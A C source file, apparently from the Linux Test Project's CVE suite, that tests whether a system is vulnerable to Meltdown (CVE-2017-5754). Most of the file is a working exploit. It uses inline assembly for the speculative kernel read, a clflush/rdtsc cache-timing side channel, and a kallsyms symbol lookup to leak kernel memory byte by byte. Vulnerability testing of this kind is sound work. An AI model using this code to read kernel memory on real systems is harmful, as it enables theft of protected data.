xref: /aosp_15_r20/external/ltp/testcases/cve/meltdown.c (revision 49cdfc7efb34551c7342be41a7384b9c40d7cab7)
1*49cdfc7eSAndroid Build Coastguard Worker // SPDX-License-Identifier: GPL-2.0-or-later
2*49cdfc7eSAndroid Build Coastguard Worker /*
3*49cdfc7eSAndroid Build Coastguard Worker  * Copyright (c) 2018 Pavel Boldin <[email protected]>
4*49cdfc7eSAndroid Build Coastguard Worker  */
5*49cdfc7eSAndroid Build Coastguard Worker 
6*49cdfc7eSAndroid Build Coastguard Worker #include "config.h"
7*49cdfc7eSAndroid Build Coastguard Worker #include "tst_test.h"
8*49cdfc7eSAndroid Build Coastguard Worker 
9*49cdfc7eSAndroid Build Coastguard Worker #include <stdio.h>
10*49cdfc7eSAndroid Build Coastguard Worker #include <string.h>
11*49cdfc7eSAndroid Build Coastguard Worker #include <signal.h>
12*49cdfc7eSAndroid Build Coastguard Worker #include <ucontext.h>
13*49cdfc7eSAndroid Build Coastguard Worker #include <unistd.h>
14*49cdfc7eSAndroid Build Coastguard Worker #include <fcntl.h>
15*49cdfc7eSAndroid Build Coastguard Worker #include <ctype.h>
16*49cdfc7eSAndroid Build Coastguard Worker #include <sys/utsname.h>
17*49cdfc7eSAndroid Build Coastguard Worker 
18*49cdfc7eSAndroid Build Coastguard Worker /* emmintrin.h may exist for some non-x86 systems as an emulation */
19*49cdfc7eSAndroid Build Coastguard Worker #if defined(HAVE_EMMINTRIN_H) && (defined(__x86_64__) || defined(__i386__))
20*49cdfc7eSAndroid Build Coastguard Worker #include <emmintrin.h>
21*49cdfc7eSAndroid Build Coastguard Worker 
22*49cdfc7eSAndroid Build Coastguard Worker #include "tst_tsc.h"
23*49cdfc7eSAndroid Build Coastguard Worker 
24*49cdfc7eSAndroid Build Coastguard Worker #define TARGET_OFFSET	9
25*49cdfc7eSAndroid Build Coastguard Worker #define TARGET_SIZE	(1 << TARGET_OFFSET)
26*49cdfc7eSAndroid Build Coastguard Worker #define BITS_BY_READ	2
27*49cdfc7eSAndroid Build Coastguard Worker 
28*49cdfc7eSAndroid Build Coastguard Worker static char target_array[BITS_BY_READ * TARGET_SIZE];
29*49cdfc7eSAndroid Build Coastguard Worker 
30*49cdfc7eSAndroid Build Coastguard Worker static void
clflush_target(void)31*49cdfc7eSAndroid Build Coastguard Worker clflush_target(void)
32*49cdfc7eSAndroid Build Coastguard Worker {
33*49cdfc7eSAndroid Build Coastguard Worker 	int i;
34*49cdfc7eSAndroid Build Coastguard Worker 
35*49cdfc7eSAndroid Build Coastguard Worker 	for (i = 0; i < BITS_BY_READ; i++)
36*49cdfc7eSAndroid Build Coastguard Worker 		_mm_clflush(&target_array[i * TARGET_SIZE]);
37*49cdfc7eSAndroid Build Coastguard Worker }
38*49cdfc7eSAndroid Build Coastguard Worker 
39*49cdfc7eSAndroid Build Coastguard Worker extern char failshere[];
40*49cdfc7eSAndroid Build Coastguard Worker extern char stopspeculate[];
41*49cdfc7eSAndroid Build Coastguard Worker 
42*49cdfc7eSAndroid Build Coastguard Worker static void __attribute__((noinline))
speculate(unsigned long addr,char bit)43*49cdfc7eSAndroid Build Coastguard Worker speculate(unsigned long addr, char bit)
44*49cdfc7eSAndroid Build Coastguard Worker {
45*49cdfc7eSAndroid Build Coastguard Worker 	register char mybit asm ("cl") = bit;
46*49cdfc7eSAndroid Build Coastguard Worker #ifdef __x86_64__
47*49cdfc7eSAndroid Build Coastguard Worker 	asm volatile (
48*49cdfc7eSAndroid Build Coastguard Worker 		"1:\n\t"
49*49cdfc7eSAndroid Build Coastguard Worker 
50*49cdfc7eSAndroid Build Coastguard Worker 		".rept 300\n\t"
51*49cdfc7eSAndroid Build Coastguard Worker 		"add $0x141, %%rax\n\t"
52*49cdfc7eSAndroid Build Coastguard Worker 		".endr\n"
53*49cdfc7eSAndroid Build Coastguard Worker 
54*49cdfc7eSAndroid Build Coastguard Worker 		"failshere:\n\t"
55*49cdfc7eSAndroid Build Coastguard Worker 		"movb (%[addr]), %%al\n\t"
56*49cdfc7eSAndroid Build Coastguard Worker 		"ror %[bit], %%rax\n\t"
57*49cdfc7eSAndroid Build Coastguard Worker 		"and $1, %%rax\n\t"
58*49cdfc7eSAndroid Build Coastguard Worker 		"shl $9, %%rax\n\t"
59*49cdfc7eSAndroid Build Coastguard Worker 		"jz 1b\n\t"
60*49cdfc7eSAndroid Build Coastguard Worker 
61*49cdfc7eSAndroid Build Coastguard Worker 		"movq (%[target], %%rax, 1), %%rbx\n"
62*49cdfc7eSAndroid Build Coastguard Worker 
63*49cdfc7eSAndroid Build Coastguard Worker 		"stopspeculate: \n\t"
64*49cdfc7eSAndroid Build Coastguard Worker 		"nop\n\t"
65*49cdfc7eSAndroid Build Coastguard Worker 		:
66*49cdfc7eSAndroid Build Coastguard Worker 		: [target] "r" (target_array),
67*49cdfc7eSAndroid Build Coastguard Worker 		  [addr] "r" (addr),
68*49cdfc7eSAndroid Build Coastguard Worker 		  [bit] "r" (mybit)
69*49cdfc7eSAndroid Build Coastguard Worker 		: "rax", "rbx"
70*49cdfc7eSAndroid Build Coastguard Worker 	);
71*49cdfc7eSAndroid Build Coastguard Worker #else /* defined(__x86_64__) */
72*49cdfc7eSAndroid Build Coastguard Worker 	asm volatile (
73*49cdfc7eSAndroid Build Coastguard Worker 		"1:\n\t"
74*49cdfc7eSAndroid Build Coastguard Worker 
75*49cdfc7eSAndroid Build Coastguard Worker 		".rept 300\n\t"
76*49cdfc7eSAndroid Build Coastguard Worker 		"add $0x141, %%eax\n\t"
77*49cdfc7eSAndroid Build Coastguard Worker 		".endr\n"
78*49cdfc7eSAndroid Build Coastguard Worker 
79*49cdfc7eSAndroid Build Coastguard Worker 		"failshere:\n\t"
80*49cdfc7eSAndroid Build Coastguard Worker 		"movb (%[addr]), %%al\n\t"
81*49cdfc7eSAndroid Build Coastguard Worker 		"ror %[bit], %%eax\n\t"
82*49cdfc7eSAndroid Build Coastguard Worker 		"and $1, %%eax\n\t"
83*49cdfc7eSAndroid Build Coastguard Worker 		"shl $9, %%eax\n\t"
84*49cdfc7eSAndroid Build Coastguard Worker 		"jz 1b\n\t"
85*49cdfc7eSAndroid Build Coastguard Worker 
86*49cdfc7eSAndroid Build Coastguard Worker 		"movl (%[target], %%eax, 1), %%ebx\n"
87*49cdfc7eSAndroid Build Coastguard Worker 
88*49cdfc7eSAndroid Build Coastguard Worker 		"stopspeculate: \n\t"
89*49cdfc7eSAndroid Build Coastguard Worker 		"nop\n\t"
90*49cdfc7eSAndroid Build Coastguard Worker 		:
91*49cdfc7eSAndroid Build Coastguard Worker 		: [target] "r" (target_array),
92*49cdfc7eSAndroid Build Coastguard Worker 		  [addr] "r" (addr),
93*49cdfc7eSAndroid Build Coastguard Worker 		  [bit] "r" (mybit)
94*49cdfc7eSAndroid Build Coastguard Worker 		: "rax", "ebx"
95*49cdfc7eSAndroid Build Coastguard Worker 	);
96*49cdfc7eSAndroid Build Coastguard Worker #endif
97*49cdfc7eSAndroid Build Coastguard Worker }
98*49cdfc7eSAndroid Build Coastguard Worker 
99*49cdfc7eSAndroid Build Coastguard Worker #ifdef __i386__
100*49cdfc7eSAndroid Build Coastguard Worker # define REG_RIP	REG_EIP
101*49cdfc7eSAndroid Build Coastguard Worker #endif
102*49cdfc7eSAndroid Build Coastguard Worker 
103*49cdfc7eSAndroid Build Coastguard Worker static void
sigsegv(int sig LTP_ATTRIBUTE_UNUSED,siginfo_t * siginfo LTP_ATTRIBUTE_UNUSED,void * context LTP_ATTRIBUTE_UNUSED)104*49cdfc7eSAndroid Build Coastguard Worker sigsegv(int sig LTP_ATTRIBUTE_UNUSED,
105*49cdfc7eSAndroid Build Coastguard Worker 	siginfo_t *siginfo LTP_ATTRIBUTE_UNUSED,
106*49cdfc7eSAndroid Build Coastguard Worker 	void *context LTP_ATTRIBUTE_UNUSED)
107*49cdfc7eSAndroid Build Coastguard Worker {
108*49cdfc7eSAndroid Build Coastguard Worker 	ucontext_t *ucontext = context;
109*49cdfc7eSAndroid Build Coastguard Worker 	unsigned long *prip = (unsigned long *)&ucontext->uc_mcontext.gregs[REG_RIP];
110*49cdfc7eSAndroid Build Coastguard Worker 	if (*prip != (unsigned long)failshere) {
111*49cdfc7eSAndroid Build Coastguard Worker 		tst_brk(TBROK,
112*49cdfc7eSAndroid Build Coastguard Worker 			"Segmentation fault at unexpected location %lx",
113*49cdfc7eSAndroid Build Coastguard Worker 			*prip);
114*49cdfc7eSAndroid Build Coastguard Worker 		abort();
115*49cdfc7eSAndroid Build Coastguard Worker 	}
116*49cdfc7eSAndroid Build Coastguard Worker 	*prip = (unsigned long)stopspeculate;
117*49cdfc7eSAndroid Build Coastguard Worker 	return;
118*49cdfc7eSAndroid Build Coastguard Worker }
119*49cdfc7eSAndroid Build Coastguard Worker 
120*49cdfc7eSAndroid Build Coastguard Worker static int
set_signal(void)121*49cdfc7eSAndroid Build Coastguard Worker set_signal(void)
122*49cdfc7eSAndroid Build Coastguard Worker {
123*49cdfc7eSAndroid Build Coastguard Worker 	struct sigaction act = {
124*49cdfc7eSAndroid Build Coastguard Worker 		.sa_sigaction = sigsegv,
125*49cdfc7eSAndroid Build Coastguard Worker 		.sa_flags = SA_SIGINFO,
126*49cdfc7eSAndroid Build Coastguard Worker 	};
127*49cdfc7eSAndroid Build Coastguard Worker 
128*49cdfc7eSAndroid Build Coastguard Worker 	return sigaction(SIGSEGV, &act, NULL);
129*49cdfc7eSAndroid Build Coastguard Worker }
130*49cdfc7eSAndroid Build Coastguard Worker 
131*49cdfc7eSAndroid Build Coastguard Worker static inline int
get_access_time(volatile char * addr)132*49cdfc7eSAndroid Build Coastguard Worker get_access_time(volatile char *addr)
133*49cdfc7eSAndroid Build Coastguard Worker {
134*49cdfc7eSAndroid Build Coastguard Worker 	unsigned long long time1, time2;
135*49cdfc7eSAndroid Build Coastguard Worker 	volatile int j LTP_ATTRIBUTE_UNUSED;
136*49cdfc7eSAndroid Build Coastguard Worker 
137*49cdfc7eSAndroid Build Coastguard Worker 	rdtscll(time1);
138*49cdfc7eSAndroid Build Coastguard Worker 
139*49cdfc7eSAndroid Build Coastguard Worker 	j = *addr;
140*49cdfc7eSAndroid Build Coastguard Worker 
141*49cdfc7eSAndroid Build Coastguard Worker 	_mm_mfence();
142*49cdfc7eSAndroid Build Coastguard Worker 	rdtscll(time2);
143*49cdfc7eSAndroid Build Coastguard Worker 
144*49cdfc7eSAndroid Build Coastguard Worker 	return time2 - time1;
145*49cdfc7eSAndroid Build Coastguard Worker }
146*49cdfc7eSAndroid Build Coastguard Worker 
147*49cdfc7eSAndroid Build Coastguard Worker static int cache_hit_threshold;
148*49cdfc7eSAndroid Build Coastguard Worker static int hist[BITS_BY_READ];
149*49cdfc7eSAndroid Build Coastguard Worker 
150*49cdfc7eSAndroid Build Coastguard Worker static void
check(void)151*49cdfc7eSAndroid Build Coastguard Worker check(void)
152*49cdfc7eSAndroid Build Coastguard Worker {
153*49cdfc7eSAndroid Build Coastguard Worker 	int i, time;
154*49cdfc7eSAndroid Build Coastguard Worker 	volatile char *addr;
155*49cdfc7eSAndroid Build Coastguard Worker 
156*49cdfc7eSAndroid Build Coastguard Worker 	for (i = 0; i < BITS_BY_READ; i++) {
157*49cdfc7eSAndroid Build Coastguard Worker 		addr = &target_array[i * TARGET_SIZE];
158*49cdfc7eSAndroid Build Coastguard Worker 
159*49cdfc7eSAndroid Build Coastguard Worker 		time = get_access_time(addr);
160*49cdfc7eSAndroid Build Coastguard Worker 
161*49cdfc7eSAndroid Build Coastguard Worker 		if (time <= cache_hit_threshold)
162*49cdfc7eSAndroid Build Coastguard Worker 			hist[i]++;
163*49cdfc7eSAndroid Build Coastguard Worker 	}
164*49cdfc7eSAndroid Build Coastguard Worker }
165*49cdfc7eSAndroid Build Coastguard Worker 
166*49cdfc7eSAndroid Build Coastguard Worker #define CYCLES 10000
167*49cdfc7eSAndroid Build Coastguard Worker static int
readbit(int fd,unsigned long addr,char bit)168*49cdfc7eSAndroid Build Coastguard Worker readbit(int fd, unsigned long addr, char bit)
169*49cdfc7eSAndroid Build Coastguard Worker {
170*49cdfc7eSAndroid Build Coastguard Worker 	int i, ret;
171*49cdfc7eSAndroid Build Coastguard Worker 	static char buf[256];
172*49cdfc7eSAndroid Build Coastguard Worker 
173*49cdfc7eSAndroid Build Coastguard Worker 	memset(hist, 0, sizeof(hist));
174*49cdfc7eSAndroid Build Coastguard Worker 
175*49cdfc7eSAndroid Build Coastguard Worker 	for (i = 0; i < CYCLES; i++) {
176*49cdfc7eSAndroid Build Coastguard Worker 		ret = pread(fd, buf, sizeof(buf), 0);
177*49cdfc7eSAndroid Build Coastguard Worker 		if (ret < 0)
178*49cdfc7eSAndroid Build Coastguard Worker 			tst_res(TFAIL | TERRNO, "can't read fd");
179*49cdfc7eSAndroid Build Coastguard Worker 
180*49cdfc7eSAndroid Build Coastguard Worker 		clflush_target();
181*49cdfc7eSAndroid Build Coastguard Worker 
182*49cdfc7eSAndroid Build Coastguard Worker 		speculate(addr, bit);
183*49cdfc7eSAndroid Build Coastguard Worker 		check();
184*49cdfc7eSAndroid Build Coastguard Worker 	}
185*49cdfc7eSAndroid Build Coastguard Worker 
186*49cdfc7eSAndroid Build Coastguard Worker #ifdef DEBUG
187*49cdfc7eSAndroid Build Coastguard Worker 	for (i = 0; i < BITS_BY_READ; i++)
188*49cdfc7eSAndroid Build Coastguard Worker 		tst_res(TINFO, "addr %lx hist[%x] = %d", addr, i, hist[i]);
189*49cdfc7eSAndroid Build Coastguard Worker #endif
190*49cdfc7eSAndroid Build Coastguard Worker 
191*49cdfc7eSAndroid Build Coastguard Worker 	if (hist[1] > CYCLES / 10)
192*49cdfc7eSAndroid Build Coastguard Worker 		return 1;
193*49cdfc7eSAndroid Build Coastguard Worker 	return 0;
194*49cdfc7eSAndroid Build Coastguard Worker }
195*49cdfc7eSAndroid Build Coastguard Worker 
196*49cdfc7eSAndroid Build Coastguard Worker static int
readbyte(int fd,unsigned long addr)197*49cdfc7eSAndroid Build Coastguard Worker readbyte(int fd, unsigned long addr)
198*49cdfc7eSAndroid Build Coastguard Worker {
199*49cdfc7eSAndroid Build Coastguard Worker 	int bit, res = 0;
200*49cdfc7eSAndroid Build Coastguard Worker 
201*49cdfc7eSAndroid Build Coastguard Worker 	for (bit = 0; bit < 8; bit ++ )
202*49cdfc7eSAndroid Build Coastguard Worker 		res |= (readbit(fd, addr, bit) << bit);
203*49cdfc7eSAndroid Build Coastguard Worker 
204*49cdfc7eSAndroid Build Coastguard Worker 	return res;
205*49cdfc7eSAndroid Build Coastguard Worker }
206*49cdfc7eSAndroid Build Coastguard Worker 
207*49cdfc7eSAndroid Build Coastguard Worker 
208*49cdfc7eSAndroid Build Coastguard Worker static int
mysqrt(long val)209*49cdfc7eSAndroid Build Coastguard Worker mysqrt(long val)
210*49cdfc7eSAndroid Build Coastguard Worker {
211*49cdfc7eSAndroid Build Coastguard Worker 	int root = val / 2, prevroot = 0, i = 0;
212*49cdfc7eSAndroid Build Coastguard Worker 
213*49cdfc7eSAndroid Build Coastguard Worker 	while (prevroot != root && i++ < 100) {
214*49cdfc7eSAndroid Build Coastguard Worker 		prevroot = root;
215*49cdfc7eSAndroid Build Coastguard Worker 		root = (val / root + root) / 2;
216*49cdfc7eSAndroid Build Coastguard Worker 	}
217*49cdfc7eSAndroid Build Coastguard Worker 
218*49cdfc7eSAndroid Build Coastguard Worker 	return root;
219*49cdfc7eSAndroid Build Coastguard Worker }
220*49cdfc7eSAndroid Build Coastguard Worker 
221*49cdfc7eSAndroid Build Coastguard Worker #define ESTIMATE_CYCLES	1000000
222*49cdfc7eSAndroid Build Coastguard Worker static void
set_cache_hit_threshold(void)223*49cdfc7eSAndroid Build Coastguard Worker set_cache_hit_threshold(void)
224*49cdfc7eSAndroid Build Coastguard Worker {
225*49cdfc7eSAndroid Build Coastguard Worker 	long cached, uncached, i;
226*49cdfc7eSAndroid Build Coastguard Worker 
227*49cdfc7eSAndroid Build Coastguard Worker 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
228*49cdfc7eSAndroid Build Coastguard Worker 		cached += get_access_time(target_array);
229*49cdfc7eSAndroid Build Coastguard Worker 
230*49cdfc7eSAndroid Build Coastguard Worker 	for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
231*49cdfc7eSAndroid Build Coastguard Worker 		cached += get_access_time(target_array);
232*49cdfc7eSAndroid Build Coastguard Worker 
233*49cdfc7eSAndroid Build Coastguard Worker 	for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
234*49cdfc7eSAndroid Build Coastguard Worker 		_mm_clflush(target_array);
235*49cdfc7eSAndroid Build Coastguard Worker 		uncached += get_access_time(target_array);
236*49cdfc7eSAndroid Build Coastguard Worker 	}
237*49cdfc7eSAndroid Build Coastguard Worker 
238*49cdfc7eSAndroid Build Coastguard Worker 	cached /= ESTIMATE_CYCLES;
239*49cdfc7eSAndroid Build Coastguard Worker 	uncached /= ESTIMATE_CYCLES;
240*49cdfc7eSAndroid Build Coastguard Worker 
241*49cdfc7eSAndroid Build Coastguard Worker 	cache_hit_threshold = mysqrt(cached * uncached);
242*49cdfc7eSAndroid Build Coastguard Worker 
243*49cdfc7eSAndroid Build Coastguard Worker 	tst_res(TINFO,
244*49cdfc7eSAndroid Build Coastguard Worker 		"access time: cached = %ld, uncached = %ld, threshold = %d",
245*49cdfc7eSAndroid Build Coastguard Worker 		cached, uncached, cache_hit_threshold);
246*49cdfc7eSAndroid Build Coastguard Worker }
247*49cdfc7eSAndroid Build Coastguard Worker 
248*49cdfc7eSAndroid Build Coastguard Worker static unsigned long
find_symbol_in_file(const char * filename,const char * symname)249*49cdfc7eSAndroid Build Coastguard Worker find_symbol_in_file(const char *filename, const char *symname)
250*49cdfc7eSAndroid Build Coastguard Worker {
251*49cdfc7eSAndroid Build Coastguard Worker 	unsigned long addr;
252*49cdfc7eSAndroid Build Coastguard Worker 	char type;
253*49cdfc7eSAndroid Build Coastguard Worker 	int ret, read;
254*49cdfc7eSAndroid Build Coastguard Worker 	char fmt[strlen(symname) + 64];
255*49cdfc7eSAndroid Build Coastguard Worker 
256*49cdfc7eSAndroid Build Coastguard Worker 	tst_res(TINFO, "Looking for %s in %s", symname, filename);
257*49cdfc7eSAndroid Build Coastguard Worker 	if (access(filename, F_OK) == -1) {
258*49cdfc7eSAndroid Build Coastguard Worker 		tst_res(TINFO, "%s not available", filename);
259*49cdfc7eSAndroid Build Coastguard Worker 		return 0;
260*49cdfc7eSAndroid Build Coastguard Worker 	}
261*49cdfc7eSAndroid Build Coastguard Worker 
262*49cdfc7eSAndroid Build Coastguard Worker 	sprintf(fmt, "%%lx %%c %s%%c", symname);
263*49cdfc7eSAndroid Build Coastguard Worker 
264*49cdfc7eSAndroid Build Coastguard Worker 	ret = FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
265*49cdfc7eSAndroid Build Coastguard Worker 	if (ret)
266*49cdfc7eSAndroid Build Coastguard Worker 		return 0;
267*49cdfc7eSAndroid Build Coastguard Worker 
268*49cdfc7eSAndroid Build Coastguard Worker 	return addr;
269*49cdfc7eSAndroid Build Coastguard Worker }
270*49cdfc7eSAndroid Build Coastguard Worker 
271*49cdfc7eSAndroid Build Coastguard Worker static unsigned long
find_kernel_symbol(const char * name)272*49cdfc7eSAndroid Build Coastguard Worker find_kernel_symbol(const char *name)
273*49cdfc7eSAndroid Build Coastguard Worker {
274*49cdfc7eSAndroid Build Coastguard Worker 	char systemmap[256];
275*49cdfc7eSAndroid Build Coastguard Worker 	struct utsname utsname;
276*49cdfc7eSAndroid Build Coastguard Worker 	unsigned long addr;
277*49cdfc7eSAndroid Build Coastguard Worker 
278*49cdfc7eSAndroid Build Coastguard Worker 	addr = find_symbol_in_file("/proc/kallsyms", name);
279*49cdfc7eSAndroid Build Coastguard Worker 	if (addr)
280*49cdfc7eSAndroid Build Coastguard Worker 		return addr;
281*49cdfc7eSAndroid Build Coastguard Worker 
282*49cdfc7eSAndroid Build Coastguard Worker 	if (uname(&utsname) < 0)
283*49cdfc7eSAndroid Build Coastguard Worker 		tst_brk(TBROK | TERRNO, "uname");
284*49cdfc7eSAndroid Build Coastguard Worker 	sprintf(systemmap, "/boot/System.map-%s", utsname.release);
285*49cdfc7eSAndroid Build Coastguard Worker 	addr = find_symbol_in_file(systemmap, name);
286*49cdfc7eSAndroid Build Coastguard Worker 	return addr;
287*49cdfc7eSAndroid Build Coastguard Worker }
288*49cdfc7eSAndroid Build Coastguard Worker 
289*49cdfc7eSAndroid Build Coastguard Worker static unsigned long saved_cmdline_addr;
290*49cdfc7eSAndroid Build Coastguard Worker static int spec_fd;
291*49cdfc7eSAndroid Build Coastguard Worker 
setup(void)292*49cdfc7eSAndroid Build Coastguard Worker static void setup(void)
293*49cdfc7eSAndroid Build Coastguard Worker {
294*49cdfc7eSAndroid Build Coastguard Worker 	set_cache_hit_threshold();
295*49cdfc7eSAndroid Build Coastguard Worker 
296*49cdfc7eSAndroid Build Coastguard Worker 	saved_cmdline_addr = find_kernel_symbol("saved_command_line");
297*49cdfc7eSAndroid Build Coastguard Worker 	tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
298*49cdfc7eSAndroid Build Coastguard Worker 
299*49cdfc7eSAndroid Build Coastguard Worker 	if (!saved_cmdline_addr)
300*49cdfc7eSAndroid Build Coastguard Worker 		tst_brk(TCONF, "saved_command_line not found");
301*49cdfc7eSAndroid Build Coastguard Worker 
302*49cdfc7eSAndroid Build Coastguard Worker 	spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
303*49cdfc7eSAndroid Build Coastguard Worker 
304*49cdfc7eSAndroid Build Coastguard Worker 	memset(target_array, 1, sizeof(target_array));
305*49cdfc7eSAndroid Build Coastguard Worker 
306*49cdfc7eSAndroid Build Coastguard Worker 	if (set_signal() < 0)
307*49cdfc7eSAndroid Build Coastguard Worker 		tst_res(TFAIL | TERRNO, "set_signal");
308*49cdfc7eSAndroid Build Coastguard Worker }
309*49cdfc7eSAndroid Build Coastguard Worker 
310*49cdfc7eSAndroid Build Coastguard Worker #define READ_SIZE 32
311*49cdfc7eSAndroid Build Coastguard Worker 
run(void)312*49cdfc7eSAndroid Build Coastguard Worker static void run(void)
313*49cdfc7eSAndroid Build Coastguard Worker {
314*49cdfc7eSAndroid Build Coastguard Worker 	unsigned int i, score = 0, ret;
315*49cdfc7eSAndroid Build Coastguard Worker 	unsigned long addr;
316*49cdfc7eSAndroid Build Coastguard Worker 	unsigned long size;
317*49cdfc7eSAndroid Build Coastguard Worker 	char read[READ_SIZE] = { 0 };
318*49cdfc7eSAndroid Build Coastguard Worker 	char expected[READ_SIZE] = { 0 };
319*49cdfc7eSAndroid Build Coastguard Worker 	int expected_len;
320*49cdfc7eSAndroid Build Coastguard Worker 
321*49cdfc7eSAndroid Build Coastguard Worker 	expected_len = pread(spec_fd, expected, sizeof(expected), 0);
322*49cdfc7eSAndroid Build Coastguard Worker 	if (expected_len < 0)
323*49cdfc7eSAndroid Build Coastguard Worker 		tst_res(TFAIL | TERRNO, "can't read test fd");
324*49cdfc7eSAndroid Build Coastguard Worker 
325*49cdfc7eSAndroid Build Coastguard Worker 	/* read address of saved_cmdline_addr */
326*49cdfc7eSAndroid Build Coastguard Worker 	addr = saved_cmdline_addr;
327*49cdfc7eSAndroid Build Coastguard Worker 	size = sizeof(addr);
328*49cdfc7eSAndroid Build Coastguard Worker 	for (i = 0; i < size; i++) {
329*49cdfc7eSAndroid Build Coastguard Worker 		ret = readbyte(spec_fd, addr);
330*49cdfc7eSAndroid Build Coastguard Worker 
331*49cdfc7eSAndroid Build Coastguard Worker 		read[i] = ret;
332*49cdfc7eSAndroid Build Coastguard Worker 		tst_res(TINFO, "read %lx = 0x%02x %c", addr, ret,
333*49cdfc7eSAndroid Build Coastguard Worker 			isprint(ret) ? ret : ' ');
334*49cdfc7eSAndroid Build Coastguard Worker 
335*49cdfc7eSAndroid Build Coastguard Worker 		addr++;
336*49cdfc7eSAndroid Build Coastguard Worker 	}
337*49cdfc7eSAndroid Build Coastguard Worker 
338*49cdfc7eSAndroid Build Coastguard Worker 	/* read value pointed to by saved_cmdline_addr */
339*49cdfc7eSAndroid Build Coastguard Worker 	memcpy(&addr, read, sizeof(addr));
340*49cdfc7eSAndroid Build Coastguard Worker 	memset(read, 0, sizeof(read));
341*49cdfc7eSAndroid Build Coastguard Worker 	tst_res(TINFO, "save_command_line: 0x%lx", addr);
342*49cdfc7eSAndroid Build Coastguard Worker 	size = expected_len;
343*49cdfc7eSAndroid Build Coastguard Worker 
344*49cdfc7eSAndroid Build Coastguard Worker 	if (!addr)
345*49cdfc7eSAndroid Build Coastguard Worker 		goto done;
346*49cdfc7eSAndroid Build Coastguard Worker 
347*49cdfc7eSAndroid Build Coastguard Worker 	for (i = 0; i < size; i++) {
348*49cdfc7eSAndroid Build Coastguard Worker 		ret = readbyte(spec_fd, addr);
349*49cdfc7eSAndroid Build Coastguard Worker 
350*49cdfc7eSAndroid Build Coastguard Worker 		read[i] = ret;
351*49cdfc7eSAndroid Build Coastguard Worker 		tst_res(TINFO, "read %lx = 0x%02x %c | expected 0x%02x |"
352*49cdfc7eSAndroid Build Coastguard Worker 			" match: %d", addr, ret, isprint(ret) ? ret : ' ',
353*49cdfc7eSAndroid Build Coastguard Worker 			expected[i], read[i] == expected[i]);
354*49cdfc7eSAndroid Build Coastguard Worker 
355*49cdfc7eSAndroid Build Coastguard Worker 		addr++;
356*49cdfc7eSAndroid Build Coastguard Worker 	}
357*49cdfc7eSAndroid Build Coastguard Worker 
358*49cdfc7eSAndroid Build Coastguard Worker 	for (i = 0; i < size; i++)
359*49cdfc7eSAndroid Build Coastguard Worker 		if (expected[i] == read[i])
360*49cdfc7eSAndroid Build Coastguard Worker 			score++;
361*49cdfc7eSAndroid Build Coastguard Worker 
362*49cdfc7eSAndroid Build Coastguard Worker done:
363*49cdfc7eSAndroid Build Coastguard Worker 	if (score > size / 2)
364*49cdfc7eSAndroid Build Coastguard Worker 		tst_res(TFAIL, "I was able to read your kernel memory!!!");
365*49cdfc7eSAndroid Build Coastguard Worker 	else
366*49cdfc7eSAndroid Build Coastguard Worker 		tst_res(TPASS, "I was not able to read your kernel memory");
367*49cdfc7eSAndroid Build Coastguard Worker 	tst_res(TINFO, "score(matched/all): %u / %lu", score, size);
368*49cdfc7eSAndroid Build Coastguard Worker }
369*49cdfc7eSAndroid Build Coastguard Worker 
cleanup(void)370*49cdfc7eSAndroid Build Coastguard Worker static void cleanup(void)
371*49cdfc7eSAndroid Build Coastguard Worker {
372*49cdfc7eSAndroid Build Coastguard Worker 	SAFE_CLOSE(spec_fd);
373*49cdfc7eSAndroid Build Coastguard Worker }
374*49cdfc7eSAndroid Build Coastguard Worker 
375*49cdfc7eSAndroid Build Coastguard Worker static struct tst_test test = {
376*49cdfc7eSAndroid Build Coastguard Worker 	.needs_root = 1,
377*49cdfc7eSAndroid Build Coastguard Worker 	.setup = setup,
378*49cdfc7eSAndroid Build Coastguard Worker 	.test_all = run,
379*49cdfc7eSAndroid Build Coastguard Worker 	.cleanup = cleanup,
380*49cdfc7eSAndroid Build Coastguard Worker 	.supported_archs = (const char *const []) {
381*49cdfc7eSAndroid Build Coastguard Worker 		"x86",
382*49cdfc7eSAndroid Build Coastguard Worker 		"x86_64",
383*49cdfc7eSAndroid Build Coastguard Worker 		NULL
384*49cdfc7eSAndroid Build Coastguard Worker 	},
385*49cdfc7eSAndroid Build Coastguard Worker 	.tags = (const struct tst_tag[]) {
386*49cdfc7eSAndroid Build Coastguard Worker 		{"CVE", "2017-5754"},
387*49cdfc7eSAndroid Build Coastguard Worker 		{}
388*49cdfc7eSAndroid Build Coastguard Worker 	}
389*49cdfc7eSAndroid Build Coastguard Worker };
390*49cdfc7eSAndroid Build Coastguard Worker 
391*49cdfc7eSAndroid Build Coastguard Worker #else /* HAVE_EMMINTRIN_H */
392*49cdfc7eSAndroid Build Coastguard Worker 	TST_TEST_TCONF("<emmintrin.h> is not supported");
393*49cdfc7eSAndroid Build Coastguard Worker #endif
394